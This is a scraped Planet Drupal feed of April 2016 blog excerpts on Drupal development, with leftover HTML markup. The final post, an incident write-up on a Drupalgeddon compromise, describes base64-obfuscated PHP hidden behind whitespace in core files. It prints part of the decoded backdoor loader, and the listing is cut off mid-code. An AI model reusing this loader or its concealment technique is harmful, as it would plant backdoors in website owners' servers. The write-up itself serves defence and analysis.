Planet Drupal

Syndicate content
Drupal.org - aggregated feeds in category Planet Drupal
Updated: 34 min 10 sec ago

Mike Ryan: Migration update for Drupal 8.1

Tue, 04/19/2016 - 21:24
pFor those of you using the migration system under Drupal 8.0.x, with Drupal 8.1 a href=https://www.drupal.org/core/release-cycle-overviewscheduled to release tomorrow/a, let’s take a look at where the migration ecosystem now stands. We’ll discuss the biggest core API change, then how moving to 8.1 affects various use cases./p h2Migrations are now plugins/h2 pa href=http://mikeryan.name/blog/mikeryan/migration-update-for-drupal-8-1 target=_blankread more/a/p

Drupal core announcements: Reinventing Drupal’s User Experience process

Tue, 04/19/2016 - 21:20
pstrongThe Drupal core product needs to become more engaging and useful right out of the box. Usability testing has shown why. We want to look at how we can change our process to be more efficient and effective./strong/p pWe learned during the Drupal 8 process, that our way of building the product side of Drupal has many challenges. We propose to adopt a different way of working that avoids current pitfalls and enables a fresher, faster way to iterate on the core product./p pThe UX-team has started a discussion in the a href=https://groups.drupal.org/usabilityUsability group/a to explore how we can change our process to allow for more drastic UX changes./p pJoin the discussion at: a href=https://groups.drupal.org/node/510551Reinventing Drupal’s User Experience process/a/p

Drupal @ Penn State: Drupal 8 Theme Generation and Development Intro Using the Drupal Console

Tue, 04/19/2016 - 19:16
pHere is a screen cast of how to get started with Drupal 8 theme development./p pIn the video I cover:/p ul liusing the drupal console to generate a theme from a base theme/li licreating a libraries yml file/li liadding global css to your theme/li liUsing Kint with the devel module/li lidebugging twig/li liadding your own twig file to your theme/li /ul

Acquia Developer Center Blog: Drupal 8 Module of the Week: Monolog

Tue, 04/19/2016 - 17:33
div class=field field-name-field-blog-image field-type-image field-label-hiddendiv class=field-itemsdiv class=field-item evenimg typeof=foaf:Image src=https://dev.acquia.com/sites/default/files/styles/blog__190_x110_/public/blog/drupal_8_logo_isolated_cmyk_72_2_11.png?itok=jckwVE0w width=140 height=85 alt=Drupal 8 logo title=Drupal 8 logo //divdiv class=field-item oddimg typeof=foaf:Image src=https://dev.acquia.com/sites/default/files/styles/blog__190_x110_/public/blog/ca-bundle.png?itok=HtDSiHN5 width=140 height=85 alt=optional logger instance code in Composer ca-bundle title=optional logger instance code in Composer ca-bundle //divdiv class=field-item evenimg typeof=foaf:Image src=https://dev.acquia.com/sites/default/files/styles/blog__190_x110_/public/blog/services.xml_.png?itok=wz-8yG7r width=140 height=85 alt=services.xml code sample title=services.xml code sample //divdiv class=field-item oddimg typeof=foaf:Image src=https://dev.acquia.com/sites/default/files/styles/blog__190_x110_/public/blog/logs.png?itok=XlGjBWgO width=140 height=85 alt=Monolog log output title=Monolog log output //div/div/divdiv class=field field-name-body field-type-text-with-summary field-label-hiddendiv class=field-itemsdiv class=field-item even property=content:encodedpemstrongSpecial PHP-Interoperability Edition!/strong Each day, more Drupal 7 modules are being migrated over to Drupal 8 and new ones are being created for the Drupal community’s latest major release. In this series, the Acquia Developer Center is profiling some of the most prominent, useful modules available for Drupal 8. This week, logging with stronga href=https://www.drupal.org/project/monologMonolog/a/strong./em/p /div/div/divdiv class=field field-name-field-blog-tags field-type-taxonomy-term-reference field-label-inline clearfixdiv class=field-labelTags:nbsp;/divdiv class=field-itemsdiv class=field-item evena href=/tags/acquia-drupal-planet typeof=skos:Concept property=rdfs:label skos:prefLabel datatype=acquia drupal planet/a/divdiv class=field-item odda href=/tags/logging typeof=skos:Concept property=rdfs:label skos:prefLabel datatype=logging/a/divdiv class=field-item evena href=/tags/psr typeof=skos:Concept property=rdfs:label skos:prefLabel datatype=PSR/a/divdiv class=field-item odda href=/tags/php-fig typeof=skos:Concept property=rdfs:label skos:prefLabel datatype=PHP FIG/a/divdiv class=field-item evena href=/tags/monolog typeof=skos:Concept property=rdfs:label skos:prefLabel datatype=Monolog/a/divdiv class=field-item odda href=/tags/drupal-8 typeof=skos:Concept property=rdfs:label skos:prefLabel datatype=drupal 8/a/div/div/div

Phponwebsites: Create page without header and footer in Drupal 7

Tue, 04/19/2016 - 16:46
div dir=ltr style=text-align: left; trbidi=onnbsp; nbsp; This blog describes about create only page contents without header and footer in Drupal 7. All of you know almost all of the pages in Drupal have header and footer. Suppose you want to create a page without header and footer in Drupal 7. Is it possible? Yes, it is possible in Drupal 7. You can create a page without header and footer using 'delivery callback' in hook_menu.br /br /h3 style=text-align: left;Render a page without header and footer in Drupal 7:/h3br /nbsp; nbsp; nbsp;Drupal provide a option to create page without header and footer. Let see the below code for render a page without header and footer in Drupal 7.br /br /div class=bdr/**br /nbsp;* Implement hook_menu().br /nbsp;*/br /function phponwebsites_menu() {br /nbsp; $items['sample-wo-header-footer'] = array(br /nbsp; nbsp; 'title' =gt; 'A page without header and footer in Drupal 7',br /nbsp; nbsp; 'access callback' =gt; TRUE,br /nbsp; nbsp; 'page callback' =gt; 'phponwebsites_without_header_footer',br /nbsp; nbsp; 'type' =gt; MENU_CALLBACK,br /nbsp; nbsp; 'delivery callback' =gt; 'deliver_plain',br /nbsp; );br /nbsp; return $items;br /}br /br /function deliver_plain($page_callback_result) {br /nbsp; print $page_callback_result;br /}br /br //**br /nbsp;* Implement phponwebsites_without_header_footer().br /nbsp;*/br /function phponwebsites_without_header_footer() {br /nbsp; return 'This is the page without header and footer';br /}/divbr /br /nbsp; nbsp;You could see the page without any header and footer when you view page in a browser. Now I've hope you how to render a page without header and footer in Drupal 7. br /div itemscope= itemtype=http://schema.org/WebPagebbr //bbRelated articles:/bbr /ba href=http://www.phponwebsites.com/2015/12/drupal-7-hook-menu-add-link-into-menu-programmatically.html itemprop=relatedLinkAdd new menu item into already created menu in Drupal 7/a/bbr /ba href=http://www.phponwebsites.com/2015/12/drupal-7-hook-menu-add-class-into-menu-item-programmatically.html itemprop=relatedLinkAdd class into menu item in Drupal 7/a/bbr /a href=http://www.phponwebsites.com/2015/12/drupal-7-hook-menu-create-menu-tab-programmatically.html itemprop=relatedLinkbCreate menu tab programmatically in Drupal 7/b/abr /a href=http://www.phponwebsites.com/2015/12/drupal-7-add-custom-fields-to-search-api-solr-index.html itemprop=relatedLinkbAdd custom fields to search api index in Drupal 7/b/abr /a href=http://www.phponwebsites.com/2016/04/login-using-email-and-username-in-drupal-7.html itemprop=relatedLinkbLogin using both email and username in Drupal 7/b/abr /a href=http://www.phponwebsites.com/2016/04/clear-views-cache-when-insert-update-delete-node-drupal-7.html itemprop=relatedLinkbClear views cache when insert, update and delete a node in Drupal 7/b/a/div/div

Cheppers blog: Exploring Behat ep. 1: formatting test results

Tue, 04/19/2016 - 16:06
a href=https://cheppers.com/blog/exploring-behat-ep1 img src=https://cheppers.com/sites/default/files/styles/cheppers_blog_teaser_mobile/public/blogpostheader_0413_teaser-03.png?itok=qQ9hBmcL width=536 height=300 alt= class=image-style-cheppers-blog-teaser-mobile / /a pAs a growing company with a strong Drupalist department, we have reached a point when continuous integration and automated testing is necessary to sustain pace, and given the characteristics of Drupal, behavior-driven testing with Behat is a logical candidate. To make this happen, we have to explore the undocumented territories of Behat, and we are presenting our findings along the way./p

Zivtech: Tipsheet: Drupal Site Builder Certification

Tue, 04/19/2016 - 15:03
div class=field-body pLast year, our CTO Jody blogged about the a href=/node/31273Drupal Jeopardy/a game that helped some of us at Zivtech prepare for the a href=https://www.acquia.com/customer-success/learning-services/acquia-certified-drupal-site-builder-exam-blueprint target=_blankAcquia Certified Drupal Site Builder Exam/a. The credential validates the skills and knowledge of professionals who build Drupal sites using core and contributed modules. I started studying for that exam afterwards, and passed it last December. Here are my study methods and experience, which I think would be especially useful to those who are newer to Drupal./p h3strongFirst, some tips/strong/h3 ulliThe only contributed module you need to know about is a href=https://www.drupal.org/project/views target=_blankViews/a (a sub module of the a href=https://www.drupal.org/project/ctools target=_blankChaos Tool Suite/a, or CTools, in D7)./li liYou don't need to know about Drush (the Drupal shell command-line tool) or how to write code for Drupal development./li liYou should know the best practices related to server file management and how to install, update, and uninstall modules and themes./li liYou should also learn about Drupal best practices concerning security, performance, and community participation using Drupal.org resources./li /ulh3strongBasic study steps/strong/h3 olliRead the a href=https://www.acquia.com/customer-success/learning-services/acquia-certified-drupal-site-builder-exam-blueprint target=_blankexam's blueprint/a to familiarize yourself with it's structure/li liWatch a href=https://www.youtube.com/watch?v=ZL-6ZVrDHUg target=_blankthis webinar video recording/a which explains what is and is not in the exam/li liManually install a site with only a a href=https://www.drupal.org/project/drupal target=_blankDrupal 7 core release/a (see a href=https://www.drupal.org/documentation/install/beginners target=_blankdocumentation/a on how)/li liEnable all the core modules and for each read through its help page (provided by the a href=https://www.drupal.org/documentation/modules/help/ target=_blankHelp/a module in core)/li liManually install the a href=https://www.drupal.org/project/views target=_blankViews/a module/li liAlso install and enable the a href=https://www.drupal.org/project/advanced_help target=_blankAdvanced Help/a module, which is not part of the exam, but has additional Views documentation aside from a href=https://www.drupal.org/documentation/modules/views target=_blankits community docs/a/li liClick through all the links provided by the Admin Menu at the top of the site/li liBuild stuff with the site!/li /olpFinally, a href=https://docs.google.com/document/d/179lmNhwPHfHIaRXnetRhBdVaAOfOHQYc9_fhfvsBfgc/here/a is the study sheet I created for myself embefore/em I took the exam (cleaned up a bit so it's less messy). All of the information on there are gathered from a Drupal 7 site install with Views, from Drupal.org, and from the Internet in general. /p pI hope this helps you study for the Site Builder Certification exam. When you are ready, you can a href=https://www.acquia.com/customer-success/learning-services/acquia-certified-drupal-site-builder-exam-blueprintregister/a for the 75 minute test. Good luck!/p p /p p /p p /p /div nav role=navigation class=links-inline/nav

ThinkShout: Customize Menu Items in Drupal User Profile

Tue, 04/19/2016 - 15:00
pWe were recently asked by a client to edit the user profile view page on their site. This client needed us to move the link to the user’s contact form out of the tab area at the top of the profile and replace it with a link that appears further down in the content of the user’s profile. While this is not something you can do through the admin interface in Drupal 7, it is easy to do with just a few lines of code in a custom module, which I will show you how to do here./p pPrior to adding our custom code, the link to the contact form appears as a tab./p pimg src=/assets/images/blog/custom-menu-1.png alt=Customize Menu 1 //p pThe “Contact” menu item starts out as a tab because the Drupal contact module originally creates the menu item and assigns it the type MENU_LOCAL_TASK. (See a href=https://api.drupal.org/api/drupal/includes!menu.inc/group/menu_item_types/7Menu item types/a for a list of the possible menu types and their uses in Drupal.) In order for us to change the type, we can use Drupal’s a href=https://api.drupal.org/api/drupal/modules%21system%21system.api.php/function/hook_menu_alter/7hook_menu_alter()/a function to change the item to the MENU_CALLBACK type, which will remove it from the display, but keep it available as a valid path./p div class=highlighter-rougepre class=highlightcode/** * Implements hook_menu_alter(). */ function mymodule_menu_alter(span class=erramp;/span$items) { // Remove the 'contact' tab. $items['user/%user/contact']['type'] = MENU_CALLBACK; } /code/pre /div pNow it is no longer a tab, but we still need make use of Drupal’s a href=https://api.drupal.org/api/drupal/modules%21user%21user.api.php/function/hook_user_view_alter/7hook_user_view_alter()/a to insert it into the content of the profile before it is rendered on the page./p div class=highlighter-rougepre class=highlightcode/** * Implements hook_user_view_alter(). */ function mymodule_user_view_alter(span class=erramp;/span$build) { // Check to see if this user has allowed others to contact him/her. if ($build['#account']-gt;data['contact']) { // Create the text for the link using the account info to get the user’s first name. $link_text = $build['#account']-gt;field_first_name['und'][0]['safe_value'] ? email . $build['#account']-gt;field_first_name['und'][0]['safe_value'] : email; // Use the l() function to create the link. $contact_link = l($link_text,'user/' . $build['#account']-gt;uid . '/contact'); // Insert it into the $build array. $build['contact_link'][0]['#markup'] = span class=ntlt;div/span span class=naclass=/spanspan class=s\field\/spanspan class=ntgt;lt;div/span span class=naclass=/spanspan class=s\field-label\/spanspan class=ntgt;/span . t('Contact') . :span class=niamp;nbsp;/spanspan class=ntlt;/divgt;lt;div/span span class=naclass=/spanspan class=s\field-items\/spanspan class=ntgt;lt;div/span span class=naclass=/spanspan class=s\field-item/span span class=naeven/spanspan class=err\/spanspan class=ntgt;/span . $contact_link . span class=ntlt;/divgt;lt;/divgt;lt;/divgt;/span; // Insert into the user details that group we created in the display mode in admin interface. $build['#group_children']['contact_link'] = 'group_user_details'; } } /code/pre /div pAfter the custom code and a quick cache clear, the tab is gone and there is a link to the form within the body of the profile./p pimg src=/assets/images/blog/custom-menu-2.png alt=Customize Menu 2 //p pI won’t go into creating a custom module; that’s a bit beyond the scope of this post, but there is a tutorial for a href=https://www.drupal.org/node/1074360creating a custom module/a on drupal.org./p pShout out to Greg Boggs for his assistance!/p

Valuebound: Boost your Drupal development with Docker

Tue, 04/19/2016 - 12:29
pVagrant is a great virtualisation tool, which I prefer heavily for my development purposes. But sometimes it gets a bit hectic and resource consuming, to set up a new vagrant environment to work trivial things or testing out a module/API. /p pNot being a great fan of local *AMP stack I was looking for some alternative to Vagrant to use. In comes Docker, which is super fast and very easy to setup. Containers (“virtual machines”) are easy to destroy and  rebuild.They do not require the overhead of virtual machines but they  still provide a high level of isolation from the host OS./p pa href=https://hub.docker.com/Docker hub/a have many Docker containers for Drupal which are ready to use . But I prefered to create my own Docker container which just works and runs Drupal…/p

OpenLucius: Update OpenLucius | April 2016

Tue, 04/19/2016 - 11:20
div class=field field-name-body field-type-text-with-summary field-label-hiddendiv class=field-itemsdiv class=field-item evenpstrongThe past month we have processed again a lot of feedback and improved a href=http://drupal.org/project/openluciusOpenLucius/a, a Drupal social intranet. Below the improvements that have been made yesterday:/strong/p h21. Navigation text documents better and faster/h2 pWe noticed that the navigation of text documents was loading slowly - when placing a lot of text documents (100+) in a group. This is now loaded with a different technique that makes everything much quicker./p pimg src=http://blog.openlucius.com/sites/default/files/drupal-intranet-text-docs-index_0.jpg width=775 height=609 alt= class=img-responsive //p pWe also addressed the navigation to sub-pages (1): this is now more intuitive, faster and mobile usable. Finally, we placed a search feature above (2), so you can find/filter documents quickly./p pa href=http://help.openlucius.com/manual/text-documentsRead more about text documents /a/p h22. Hide comments/h2 pimg src=http://blog.openlucius.com/sites/default/files/drupal-intranet-folding-comments.jpg width=1280 height=1212 alt= class=img-responsive //p pWe received a lot of feedback that a page with many comments was becoming unnecessarily long and cluttered. We solved this by hiding comments - just like Gmail does. Hidden comments can easily be shown again./p h23. Improved status updates/h2 /div/div/div

DrupalCon News: Think you’re a Drupal genius? Prove it at DrupalCon.

Mon, 04/18/2016 - 23:13
div class=field field--name-body field--type-text-with-summary field--label-hiddendiv class=field__itemsdiv class=field__item evenp style=line-height: 20.8px;Do you know EVERYTHING about Drupal?nbsp;a href=https://www.palantir.net/Palantir.net/anbsp;is sponsoring a Trivia Night at DrupalCon, and this is your chance to prove you're a Drupal mastermind./p /div/div/div

Advomatic: How do I manage the security of my Drupal 6 site?

Mon, 04/18/2016 - 22:23
pIn our last post we talked about how the Drupal Community is supporting Drupal 6 after its end-of-life and what that means for your Drupal 6 site.  In this post we’ll get a bit more technical and talk about what exactly you need to do to keep your website up to date. Step #1: Getting... a class=excerpt-read-more href=https://www.advomatic.com/blog/how-do-i-manage-the-security-of-my-drupal-6-site title=ReadHow do I manage the security of my Drupal 6 site?Read more #187;/a/p pThe post a rel=nofollow href=https://www.advomatic.com/blog/how-do-i-manage-the-security-of-my-drupal-6-siteHow do I manage the security of my Drupal 6 site?/a appeared first on a rel=nofollow href=https://www.advomatic.comAdvomatic/a./p

Chapter Three: Custom RESTful API in Drupal 8

Mon, 04/18/2016 - 21:25
pimg alt=Drupal 8 RESTful API data-entity-type=file data-entity-uuid=922e4f76-062d-49a8-8a16-2220405d41d1 src=/sites/default/files/inline-images/restful.jpg class=align-right /This is a very simple module that demonstrates implementation of a custom RESTful API in Drupal 8. Creating your own API with Drupal 8 has become a routine task that doesn't require a lot of work. However there are a lot of things I am not covering in this blog post, such as user login and user registration etc.../p pYou could also look into strong Rest/strong module (in core) to see how to use it's plugin API to extend core rest functionality./p pI use stronga href=https://www.getpostman.com/ target=_blankPostman/a/strong to test my API endpoints (this is an app that allows you to send POST/GET/PUT/DELETE etc.. requests and see API response)./p pTest API module (test_api.module) contains the following files:/p

Bluespark Labs: DrupalCon 2016: New Orleans

Mon, 04/18/2016 - 21:11
div class=field field-name-body field-type-text-with-summary field-label-hiddendiv class=field-itemsdiv class=field-item even pimg alt=DrupalCon 2016 New Orleans Emblem src=http://www.bluespark.com/files/resources/nola_emblem_thumb_0.gif / nbsp;/p pDrupalCon 2016 will be held in New Orleans this year from May 9th-13th. Bluespark will be attending in force with at least thirteen team members. We are looking forward to reconnecting with old friends and meeting new ones! We have a few different areas where we are contributing to the DrupalCon event, including our booth and lounge sponsorship and some talks we are giving. In addition to the more serious contributions, we have some fun up our sleeves this year!/p h3strongThe Booth/strong/h3 pThis year we have a booth close to one of the coffee spots, booth number 725. This year, we have a project planning booklet that we think will be both fun and helpful to fill out for people hoping to launch a project in the future, or revisit some of their initial assumptions when they built their site. We have a number of experts who will be available at our booth to discuss anything from project and business strategy and planning to usability strategy and user testing to Drupal 7 amp; 8 development./p h3strongThe Voodoo Lounge/strong/h3 pstrongimg alt= src=http://www.bluespark.com/files/resources/voodoo_image_centered.gif //strong/p pWe are sponsoring a lounge this year, which is an area where anyone weary of the journey or excited about playing anynbsp;the many games we will have available can camp out and rest their legs for a while. We have a whole contest built around a couple of the games there too, so it’s possible to win prizes while you’re having fun!/p h3strongThe Contest (and Prizes)/strong/h3 pA couple of the games at The Voodoo Lounge will have contests you can enter which will make for some fun. One of the games has to do with creating funny newspaper headlines that will have everyone rolling. The other one has everyone building a creative machine. We’ll be offering a prize for the best contestant for each game on Tuesday-Thursday: a $100 Amazon gift card and a Bluespark shirt. nbsp;/p h3strongInformation on DrupalCon 2016: New Orleans/strong/h3 pFor more information on DrupalCon 2016, visit the official web page: a href=https://events.drupal.org/neworleans2016https://events.drupal.org/neworleans2016/a./p pnbsp;/p /div/div/divdiv class=field field-name-field-blog-tags field-type-taxonomy-term-reference field-label-abovediv class=field-labelTags:nbsp;/divdiv class=field-itemsdiv class=field-item evena href=/blog/drupal-planetDrupal Planet/a/divdiv class=field-item odda href=/blog/drupalcon-2016DrupalCon 2016/a/div/div/divdiv class=field field-name-field-resources field-type-file field-label-abovediv class=field-labelResources:nbsp;/divdiv class=field-itemsdiv class=field-item evenspan class=fileimg class=file-icon alt= title=image/gif src=/modules/file/icons/image-x-generic.png / a href=http://www.bluespark.com/files/resources/voodoo_image_centered.gif type=image/gif; length=41144voodoo_image_centered.gif/a/span/divdiv class=field-item oddspan class=fileimg class=file-icon alt= title=image/gif src=/modules/file/icons/image-x-generic.png / a href=http://www.bluespark.com/files/resources/nola_emblem_thumb_0.gif type=image/gif; length=23759nola_emblem_thumb.gif/a/span/div/div/div

Metal Toad: Anatomy of a Drupalgeddon attack

Mon, 04/18/2016 - 20:08
span class=field field-node--title field-name-title field-type-string field-label-hidden data-quickedit-field-id=node/1128/title/en/rssAnatomy of a Drupalgeddon attack/span span class=field field-node--created field-name-created field-type-created field-label-hidden data-quickedit-field-id=node/1128/created/en/rssApril 18th, 2016/span span class=field field-node--uid field-name-uid field-type-entity-reference field-label-hidden data-quickedit-field-id=node/1128/uid/en/rss a title=View user profile. href=/user/1988 lang= about=/user/1988 typeof=schema:Person property=schema:name datatype=Mike Purvis/a/span div class=field field-node--body field-name-body field-type-text-with-summary field-label-hidden data-quickedit-field-id=node/1128/body/en/rss div class=field-items div class=field-itempBefore working at Metal Toad, I saw an email from Acquia. A strange email./p pIt went something like this: /p blockquotepOn October 15th, we will be addressing a security concern at 9:00 am./p /blockquote pHmm. That's interesting. I don't remember getting an email about security updates like this. As with any CMS, there are constant security updates as new (and sometimes exotic) vulnerabilities are found. /p pSure enough, the day came. I remember reading an article afterwards. That article said if you did not update to Drupal 7.32 within the first 7 hours of the announcement, consider yourself hacked./p pThe actual patch for Drupal core a href=https://www.drupal.org/files/issues/SA-CORE-2014-005-D7.patch target=_blankis available here/a, and shows that it's literally a one-liner./p pWe (not Metal Toad) actually found Wordpress sites that were hacked with Drupalgeddon. In a moment I'll paste the deobfuscated code. But that code essentially opens the availability to execute external PHP code. That code came from somewhere else; from the hackers. I'm afraid I can't say exactly what was happening there, but the executed code was able to traverse parent directories, discover new docroots, and infect CMS'es within reach. In my experience we saw Wordpress and Drupal 6 sites infected from an exploit that existed in Drupal 7./p pI've been reading some other blogs regarding Drupalgeddon, and those seem to affect the strongmenu_router/strong table. I did not experience that particular exploit flavor. I haven't seen anyone cover the exploit that I experienced, so I'll cover it./p pEssentially, the first line of these files were modified:/p ulliindex.php/li liincludes/bootstrap.inc/li liincludes/database.inc/li /ulpAfter the opening span class=geshifiltercode class=text geshifilter-textlt;?php /code/span tag, there is a lot of whitespace before the gibberish begins./p pWhy whitespace? At the time when Drupalgeddon was upon us, I was viewing these files in an IDE that used word-wrapping. I didn't really understand why there was white space./p pHowever, when I ssh'ed into the server and used strongvi/strong on the command line, all the code is essentially invisible unless you have the gumption to press End on the first line, or Right arrow a few dozen times. (Or perhaps you could see the gibberish if you had a really, really big monitor, and your terminal was full screen.)/p pSmart./p pI will not post the gibberish code that I mentioned earlier. It's too lengthy and, in itself, it's incomprehensible./p pI did, however, successfully decode the execution code, which I'll share in a second./p pBut first, what was this gibberish code? It was a href=http://php.net/manual/en/function.base64-encode.php target=_blankbase64_encode/ad. Five times. So the function name is scrambled, the actual contents are base64 encoded, that is base64 encoded, that is base64 encoded, that is... you get the idea./p pAfter you decode this, multiple times, we have this: (Note: you'll have to scroll down a bit for my final thoughts)/p p /pdiv class=geshifilter div class=php geshifilter-php style=font-family:monospace; pre style=font-family: monospace; font-weight: normal; font-style: normalspan style=color: #000000; font-weight: bold;lt;?php/span a href=http://www.php.net/error_reportingspan style=color: #990000;error_reporting/span/aspan style=color: #009900;(/spanspan style=color: #cc66cc;0/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #b1b100;if/span span style=color: #009900;(/spanspan style=color: #339933;!/spana href=http://www.php.net/function_existsspan style=color: #990000;function_exists/span/aspan style=color: #009900;(/spanspan style=color: #0000ff;ZM5j2q0shf_pirogok/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #009900;{/span span style=color: #000000; font-weight: bold;function/span ZM5j2q0shf_pirogokspan style=color: #009900;(/spanspan style=color: #009900;)/spanspan style=color: #009900;{/span span style=color: #b1b100;return/span span style=color: #009900; font-weight: bold;false/spanspan style=color: #339933;;/span span style=color: #009900;}/span span style=color: #b1b100;if/span span style=color: #009900;(/spanspan style=color: #339933;!/spana href=http://www.php.net/function_existsspan style=color: #990000;function_exists/span/aspan style=color: #009900;(/spanspan style=color: #0000ff;Uno_decode/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #009900;{/span span style=color: #000000; font-weight: bold;function/span Uno_decodespan style=color: #009900;(/spanspan style=color: #000088;$String/spanspan style=color: #009900;)/span span style=color: #009900;{/span span style=color: #000088;$String/span span style=color: #339933;=/span a href=http://www.php.net/base64_decodespan style=color: #990000;base64_decode/span/aspan style=color: #009900;(/spanspan style=color: #000088;$String/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #000088;$Salt/spanspan style=color: #339933;=/spanspan style=color: #0000ff;dc5p9dOpBc/spanspan style=color: #339933;;/span span style=color: #000088;$StrLen/span span style=color: #339933;=/span a href=http://www.php.net/strlenspan style=color: #990000;strlen/span/aspan style=color: #009900;(/spanspan style=color: #000088;$String/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #000088;$Seq/span span style=color: #339933;=/span span style=color: #0000ff;DMEf5HZuPq/spanspan style=color: #339933;;/span span style=color: #000088;$Gamma/span span style=color: #339933;=/span span style=color: #0000ff;/spanspan style=color: #339933;;/span span style=color: #b1b100;while/span span style=color: #009900;(/spana href=http://www.php.net/strlenspan style=color: #990000;strlen/span/aspan style=color: #009900;(/spanspan style=color: #000088;$Gamma/spanspan style=color: #009900;)/spanspan style=color: #339933;lt;/spanspan style=color: #000088;$StrLen/spanspan style=color: #009900;)/span span style=color: #009900;{/span span style=color: #000088;$Seq/span span style=color: #339933;=/span a href=http://www.php.net/packspan style=color: #990000;pack/span/aspan style=color: #009900;(/spanspan style=color: #0000ff;H*/spanspan style=color: #339933;,/spana href=http://www.php.net/sha1span style=color: #990000;sha1/span/aspan style=color: #009900;(/spanspan style=color: #000088;$Gamma/spanspan style=color: #339933;./spanspan style=color: #000088;$Seq/spanspan style=color: #339933;./spanspan style=color: #000088;$Salt/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #000088;$Gamma/spanspan style=color: #339933;.=/spana href=http://www.php.net/substrspan style=color: #990000;substr/span/aspan style=color: #009900;(/spanspan style=color: #000088;$Seq/spanspan style=color: #339933;,/spanspan style=color: #cc66cc;0/spanspan style=color: #339933;,/spanspan style=color: #cc66cc;8/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #009900;}/span span style=color: #b1b100;return/span span style=color: #000088;$String/span^span style=color: #000088;$Gamma/spanspan style=color: #339933;;/span span style=color: #009900;}/span span style=color: #009900;}/span span style=color: #b1b100;if/span span style=color: #009900;(/spanspan style=color: #339933;!/spana href=http://www.php.net/function_existsspan style=color: #990000;function_exists/span/aspan style=color: #009900;(/spanspan style=color: #0000ff;get_t_dir_mass/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #009900;{/span span style=color: #000000; font-weight: bold;function/span get_t_dir_massspan style=color: #009900;(/spanspan style=color: #009900;)/span span style=color: #009900;{/span span style=color: #b1b100;if/span span style=color: #009900;(/spana href=http://www.php.net/function_existsspan style=color: #990000;function_exists/span/aspan style=color: #009900;(/spanspan style=color: #0000ff;sys_get_temp_dir/spanspan style=color: #009900;)/spanspan style=color: #009900;)/span span style=color: #009900;{/span span style=color: #b1b100;if/span span style=color: #009900;(/spanspan style=color: #339933;@/spana href=http://www.php.net/is_writeablespan style=color: #990000;is_writeable/span/aspan style=color: #009900;(/spana href=http://www.php.net/sys_get_temp_dirspan style=color: #990000;sys_get_temp_dir/span/aspan style=color: #009900;(/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #009900;)/span span style=color: #009900;{/span span style=color: #000088;$res/spanspan style=color: #009900;[/spanspan style=color: #009900;]/span span style=color: #339933;=/span a href=http://www.php.net/realpathspan style=color: #990000;realpath/span/aspan style=color: #009900;(/spana href=http://www.php.net/sys_get_temp_dirspan style=color: #990000;sys_get_temp_dir/span/aspan style=color: #009900;(/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #009900;}/span span style=color: #009900;}/span span style=color: #b1b100;if/span span style=color: #009900;(/spanspan style=color: #339933;!/spana href=http://www.php.net/emptyspan style=color: #990000;empty/span/aspan style=color: #009900;(/spanspan style=color: #000088;$_ENV/spanspan style=color: #009900;[/spanspan style=color: #0000ff;TMP/spanspan style=color: #009900;]/spanspan style=color: #009900;)/span span style=color: #339933;amp;amp;/span span style=color: #339933;@/spana href=http://www.php.net/is_writeablespan style=color: #990000;is_writeable/span/aspan style=color: #009900;(/spana href=http://www.php.net/realpathspan style=color: #990000;realpath/span/aspan style=color: #009900;(/spanspan style=color: #000088;$_ENV/spanspan style=color: #009900;[/spanspan style=color: #0000ff;TMP/spanspan style=color: #009900;]/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #009900;)/span span style=color: #009900;{/span span style=color: #000088;$res/spanspan style=color: #009900;[/spanspan style=color: #009900;]/span span style=color: #339933;=/span a href=http://www.php.net/realpathspan style=color: #990000;realpath/span/aspan style=color: #009900;(/spanspan style=color: #000088;$_ENV/spanspan style=color: #009900;[/spanspan style=color: #0000ff;TMP/spanspan style=color: #009900;]/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #009900;}/span span style=color: #b1b100;if/span span style=color: #009900;(/spanspan style=color: #339933;!/spana href=http://www.php.net/emptyspan style=color: #990000;empty/span/aspan style=color: #009900;(/spanspan style=color: #000088;$_ENV/spanspan style=color: #009900;[/spanspan style=color: #0000ff;TMPDIR/spanspan style=color: #009900;]/spanspan style=color: #009900;)/span span style=color: #339933;amp;amp;/span span style=color: #339933;@/spana href=http://www.php.net/is_writeablespan style=color: #990000;is_writeable/span/aspan style=color: #009900;(/spana href=http://www.php.net/realpathspan style=color: #990000;realpath/span/aspan style=color: #009900;(/spanspan style=color: #000088;$_ENV/spanspan style=color: #009900;[/spanspan style=color: #0000ff;TMPDIR/spanspan style=color: #009900;]/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #009900;)/span span style=color: #009900;{/span span style=color: #000088;$res/spanspan style=color: #009900;[/spanspan style=color: #009900;]/span span style=color: #339933;=/span a href=http://www.php.net/realpathspan style=color: #990000;realpath/span/aspan style=color: #009900;(/span span style=color: #000088;$_ENV/spanspan style=color: #009900;[/spanspan style=color: #0000ff;TMPDIR/spanspan style=color: #009900;]/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #009900;}/span span style=color: #b1b100;if/span span style=color: #009900;(/spanspan style=color: #339933;!/spana href=http://www.php.net/emptyspan style=color: #990000;empty/span/aspan style=color: #009900;(/spanspan style=color: #000088;$_ENV/spanspan style=color: #009900;[/spanspan style=color: #0000ff;TEMP/spanspan style=color: #009900;]/spanspan style=color: #009900;)/span span style=color: #339933;amp;amp;/span span style=color: #339933;@/spana href=http://www.php.net/is_writeablespan style=color: #990000;is_writeable/span/aspan style=color: #009900;(/spana href=http://www.php.net/realpathspan style=color: #990000;realpath/span/aspan style=color: #009900;(/spanspan style=color: #000088;$_ENV/spanspan style=color: #009900;[/spanspan style=color: #0000ff;TEMP/spanspan style=color: #009900;]/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #009900;)/span span style=color: #009900;{/span span style=color: #000088;$res/spanspan style=color: #009900;[/spanspan style=color: #009900;]/span span style=color: #339933;=/span a href=http://www.php.net/realpathspan style=color: 